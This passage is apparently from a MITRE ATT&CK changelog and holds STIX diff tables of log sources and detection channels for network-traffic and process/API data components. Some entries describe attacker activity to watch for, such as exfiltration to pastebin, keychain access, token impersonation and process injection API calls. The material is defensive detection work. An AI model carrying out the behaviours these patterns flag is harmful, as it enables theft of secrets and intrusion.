"eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, {'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:16.672000+00:00 | 2025-10-21 15:14:34.343000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}] | |
| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:20.168000+00:00 | 2025-10-21 15:14:34.703000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock|NSDistributedLock|FileHandle.*lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_*'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 